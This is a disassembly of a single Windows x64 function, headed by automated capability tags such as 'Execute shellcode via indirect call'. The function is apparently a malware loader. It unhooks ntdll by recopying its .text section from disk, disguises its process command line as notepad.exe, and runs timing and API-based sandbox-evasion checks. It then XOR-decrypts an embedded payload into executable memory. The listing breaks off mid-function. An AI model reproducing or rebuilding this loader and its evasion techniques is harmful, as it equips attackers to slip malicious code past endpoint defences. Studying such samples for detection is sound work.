Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8b8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x820], xmm6
mov dword [rbp + 0x860], ecx
mov qword [rbp + 0x868], rdx
call fcn.140002d90
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7b0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7a8], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7a0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x818], rax
cmp qword [rbp + 0x818], 0
jne 0x140001534
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x818], rax
cmp qword [rbp + 0x818], 0
je 0x1400017c2
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5a0]
mov rax, qword [rbp + 0x7a0]
mov r10, qword [rbp + 0x818]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5a0]
mov qword [rbp + 0x798], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x790], rax
mov rax, qword [rbp + 0x790]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x788]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x798]
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x798]
add rax, rdx
mov qword [rbp + 0x770], rax
mov word [rbp + 0x816], 0
jmp 0x1400017aa
mov rax, qword [rbp + 0x770]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x770]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x816]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001799
mov dword [rbp + 0x568], 0
mov rax, qword [rbp + 0x768]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x768]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x798]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x568]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x768]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x768]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x780]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x768]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x798]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x568]
mov rax, qword [rbp + 0x768]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x768]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x798]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x568]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x816]
add eax, 1
mov word [rbp + 0x816], ax
mov rax, qword [rbp + 0x770]
movzx eax, word [rax + 6]
cmp word [rbp + 0x816], ax
jb 0x14000166e
mov dword [rbp + 0x56c], 0
mov rax, qword [rbp + 0x7b0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x760], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x570]
lea rax, [rbp + 0x56c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x760]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x578]
add rax, 0x3c
mov qword [rbp + 0x758], rax
mov ecx, 0x6b8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x750], rax
mov ecx, 0x6b8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x748], rax
mov ecx, 0x6b8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x740], rax
mov ecx, 0x6b8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x738], rax
mov dword [rbp + 0x80c], 0x1ad
mov dword [rbp + 0x810], 0
jmp 0x14000199e
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x810]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x750]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x810]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x748]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x80c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x750]
add rax, rdx
mov edx, dword [rbp + 0x810]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x740]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x80c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x748]
add rax, rdx
mov edx, dword [rbp + 0x810]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x738]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x80c], 1
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x1ad
jle 0x140001892
mov rax, qword [rbp + 0x750]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x748]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x740]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x738]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x758]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x758]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
mov ecx, 0
call rax
mov dword [rbp + 0x72c], eax
cmp dword [rbp + 0x72c], 0xffffffff
je 0x140002cbb
lea rax, str.bmlknbpnerlyy.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x720], rax
cmp qword [rbp + 0x720], 0
jne 0x140002cbb
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x710], rax
cmp qword [rbp + 0x710], 0
jne 0x140002cbb
mov dword [rbp + 0x70c], 0x2cb
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
call rax
mov dword [rbp + 0x6f4], eax
mov eax, dword [rbp + 0x70c]
mov r8, qword [rbp + 0x700]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6f8]
call rax
mov dword [rbp + 0x6f0], eax
mov eax, dword [rbp + 0x6f0]
sub eax, dword [rbp + 0x6f4]
cmp eax, 0x299
jbe 0x140002cbb
mov qword [rbp + 0x800], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6e8], rax
cmp qword [rbp + 0x6e8], 0
je 0x140001c28
mov rax, qword [rbp + 0x6e8]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6e0]
mov r9d, 0x3000
mov r8d, 0x2c3
mov edx, 0
call rax
mov qword [rbp + 0x800], rax
cmp qword [rbp + 0x800], 0
je 0x140002cbb
lea rax, str.ynextjpgprknbyj.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6d8], rax
cmp qword [rbp + 0x6d8], 0
jne 0x140002cbb
mov dword [rbp + 0x6d4], 0x372
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
call rax
mov dword [rbp + 0x6c4], eax
mov eax, dword [rbp + 0x6d4]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6c8]
call rax
mov dword [rbp + 0x6c0], eax
mov eax, dword [rbp + 0x6c0]
sub eax, dword [rbp + 0x6c4]
cmp eax, 0x340
jbe 0x140002cbb
mov qword [rbp + 0x6b8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b0]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x23b5680
mov ecx, 0
call rax
mov qword [rbp + 0x6b8], rax
cmp qword [rbp + 0x6b8], 0
je 0x140002cbb
mov rax, qword [rbp + 0x6b8]
mov edx, 0x23b5680
mov rcx, rax
call fcn.140004310
mov rax, qword [rbp + 0x6b8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov dword [rbp + 0x6ac], 0x3a8
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
call rax
mov dword [rbp + 0x69c], eax
mov eax, dword [rbp + 0x6ac]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6a0]
call rax
mov dword [rbp + 0x698], eax
mov eax, dword [rbp + 0x698]
sub eax, dword [rbp + 0x69c]
cmp eax, 0x376
jbe 0x140002cbb
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x690], rax
cmp qword [rbp + 0x690], 0
je 0x140002cbb
mov rax, qword [rbp + 0x690]
mov edx, 0x48d
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x68c], eax
mov dword [rbp + 0x7fc], 0xffffffff
mov ecx, 0x11c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x680], rax
mov ecx, 0x11c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
add dword [rbp + 0x7fc], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x7fc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x680]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7fc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x680]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7fc]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x678]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003ec0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7fc], 0x237
jle 0x140001e87
lea rax, [rbp + 0x110]
lea rdx, [0x140006158]
mov ecx, 0x8a
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x7a8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x7a8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x670]
mov r8d, 0
mov edx, 0x452
mov ecx, 0x40000
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x660]
mov r9, qword [rbp + 0x668]
mov r8d, 0x452
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x7b0]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
lea rdx, [rbp + 0x110]
mov rax, qword [rbp + 0x658]
mov r9, qword [rbp + 0x650]
mov r8d, 0x452
mov rcx, rax
call r9
mov dword [rbp + 0x7f4], 0
mov dword [rbp + 0x7f0], 0
mov ecx, 0xe30
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x648], rax
mov dword [rbp + 0x7ec], 0
jmp 0x1400020da
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x7ec]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x648]
add rax, rdx
movsd xmm1, qword [0x1400065b0]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x7ec], 1
cmp dword [rbp + 0x7ec], 0x1c5
jle 0x14000209c
mov dword [rbp + 0x7ec], 0
jmp 0x140002144
mov eax, dword [rbp + 0x7ec]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x648]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7ec]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x648]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x7ec], 1
cmp dword [rbp + 0x7ec], 0x1c5
jle 0x1400020f2
movabs rax, 0xbd99c7e9ee2804a8
movabs rdx, 0xc7badee8989f3201
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x3502a14089f2dbc8
movabs rdx, 0x7f5cc283496573a2
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x91389cb967b4b087
movabs rdx, 0xa4dbd4c348bbaee8
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x4c7faa45b69fa48
movabs rdx, 0xfba0f352fac5c9e6
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x7836c7f4320a0c
movabs rdx, 0xec36f10854d8bca
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x31e6957d551a11fc
movabs rdx, 0x4b46b73bb29bb7ab
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x4a1b1abb22754ab6
movabs rdx, 0x69a344be77091fe2
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0xb369a344be77091f
movabs rdx, 0xa0460de9492a91
mov qword [rbp + 0xf9], rax
mov qword [rbp + 0x101], rdx
mov dword [rbp + 0x7e8], 0xffffffff
mov ecx, 0x1a00
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x640], rax
mov ecx, 0x1a00
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x638], rax
add dword [rbp + 0x7e8], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x7e8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x640]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7e8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7e8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x638]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003ec0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7e8], 0x33e
jle 0x14000228c
movabs rax, 0x6491e47e7eee45d0
movabs rdx, 0x6e320d6d20ac7f55
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x4aea969411b8ecbb
movabs rdx, 0x4e3c6a1ca092abd4
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x6bbd4b41acfd6825
movabs rdx, 0xbd2f09b71decf75c
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0xa700483d8762284d
movabs rdx, 0x949ef24e88fc76d6
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0xace59de7949ef2
mov qword [rbp - 3], rax
mov dword [rbp + 0x7e4], 0xffffffff
mov ecx, 0x16c0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x630], rax
add dword [rbp + 0x7e4], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x7e4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x630]
add rax, rdx
movsd xmm1, qword [0x1400065b0]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7e4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x630]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7e4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x630]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7e4], 0x2d6
jle 0x14000240a
mov dword [rbp + 0x7f8], 0
jmp 0x140002570
cmp dword [rbp + 0x7f4], 0x43
jne 0x1400024f2
mov eax, dword [rbp + 0x7f8]
cdqe
movzx edx, byte [rbp + rax + 0x90]
mov eax, dword [rbp + 0x7f4]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x7f8]
cdqe
mov byte [rbp + rax + 0x10], dl
mov dword [rbp + 0x7f4], 0
jmp 0x140002569
mov qword [rbp + 0x7d8], 0
mov dword [rbp + 0x5c4], 0x221
mov dword [rbp + 0x7e0], 1
jmp 0x140002529
mov eax, dword [rbp + 0x7e0]
cdqe
add qword [rbp + 0x7d8], rax
add dword [rbp + 0x7e0], 1
mov eax, dword [rbp + 0x7e0]
cmp eax, dword [rbp + 0x5c4]
jle 0x140002513
mov eax, dword [rbp + 0x7f8]
cdqe
movzx edx, byte [rbp + rax + 0x90]
mov eax, dword [rbp + 0x7f4]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x7f8]
cdqe
mov byte [rbp + rax + 0x10], dl
add dword [rbp + 0x7f4], 1
add dword [rbp + 0x7f8], 1
mov eax, dword [rbp + 0x7f8]
cmp eax, 0x77
jbe 0x1400024b2
mov dword [rbp + 0x7f8], 0
jmp 0x1400029c1
cmp dword [rbp + 0x7f0], 0x77
jne 0x140002641
mov dword [rbp + 0x7d4], 0
jmp 0x1400025e8
call sub.msvcrt.dll_rand
imul eax, eax, 0x261
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065b0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003fa0
movq rax, xmm0
mov qword [rbp + 0x5c8], rax
add dword [rbp + 0x7d4], 1
cmp dword [rbp + 0x7d4], 0x186
jle 0x1400025a7
mov eax, dword [rbp + 0x7f8]
movsxd rdx, eax
mov rax, qword [rbp + 0x658]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7f0]
cdqe
movzx ecx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x7f8]
movsxd rdx, eax
mov rax, qword [rbp + 0x658]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x7f0], 0
jmp 0x1400029ba
mov dword [rbp + 0x7cc], 1
jmp 0x1400026fd
mov dword [rbp + 0x7d0], 0
mov eax, dword [rbp + 0x7cc]
mov dword [rbp + 0x7c8], eax
jmp 0x1400026d3
mov edx, dword [rbp + 0x7c8]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x5d0], edx
mov eax, dword [rbp + 0x5d0]
imul eax, eax
imul eax, dword [rbp + 0x5d0]
add dword [rbp + 0x7d0], eax
mov eax, dword [rbp + 0x7c8]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x7c8], eax
cmp dword [rbp + 0x7c8], 0
jne 0x140002668
mov eax, dword [rbp + 0x7d0]
cmp eax, dword [rbp + 0x7cc]
jne 0x1400026f6
mov eax, dword [rbp + 0x7cc]
mov dword [rbp + 0x5d4], eax
add dword [rbp + 0x7cc], 1
cmp dword [rbp + 0x7cc], 0x2b9
jle 0x140002650
mov eax, dword [rbp + 0x7f8]
movsxd rdx, eax
mov rax, qword [rbp + 0x658]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7f0]
cdqe
movzx ecx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x7f8]
movsxd rdx, eax
mov rax, qword [rbp + 0x658]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x5f4], 0
mov ecx, 0x1fe0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5e8], rax
mov ecx, 0x1fe0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5e0], rax
mov ecx, 0x1fe0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5d8], rax
mov dword [rbp + 0x7c4], 0
jmp 0x140002881
mov dword [rbp + 0x7c0], 0
jmp 0x14000286d
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7c4]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x5e8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7c0]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7c4]
movsxd rcx, eax
mov rax, rcx
shl rax, 4
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x5e0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7c0]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7c0], 1
cmp dword [rbp + 0x7c0], 0x43
jle 0x1400027a6
add dword [rbp + 0x7c4], 1
cmp dword [rbp + 0x7c4], 0x1d
jle 0x140002797
mov dword [rbp + 0x7c4], 0
jmp 0x140002979
mov dword [rbp + 0x7c0], 0
jmp 0x140002965
mov eax, dword [rbp + 0x7c4]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x5e8]
add rdx, rax
mov eax, dword [rbp + 0x7c0]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7c4]
movsxd rdx, eax
mov rax, rdx
shl rax, 4
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x5e0]
add rdx, rax
mov eax, dword [rbp + 0x7c0]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movq xmm0, rax
call fcn.140003d80
mov eax, dword [rbp + 0x7c4]
